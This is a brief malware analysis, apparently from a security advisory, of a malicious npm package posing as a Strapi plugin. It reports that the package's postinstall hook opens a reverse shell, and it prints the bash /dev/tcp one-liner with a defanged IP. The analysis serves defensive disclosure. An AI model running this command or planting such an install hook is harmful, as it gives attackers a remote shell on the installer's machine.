strapi-plugin-ccresh-meeb@3.6.8

Analysis

The package's postinstall hook runs a script that opens a reverse shell to 14[.]225[.]210[.]85:443. It executes `bash -c 'bash -i > /dev/tcp/14[.]225[.]210[.]85/443 0>&1'` via child_process.exec on install, giving the remote host an interactive shell on the installer's machine. It also writes a marker file to /tmp to confirm execution.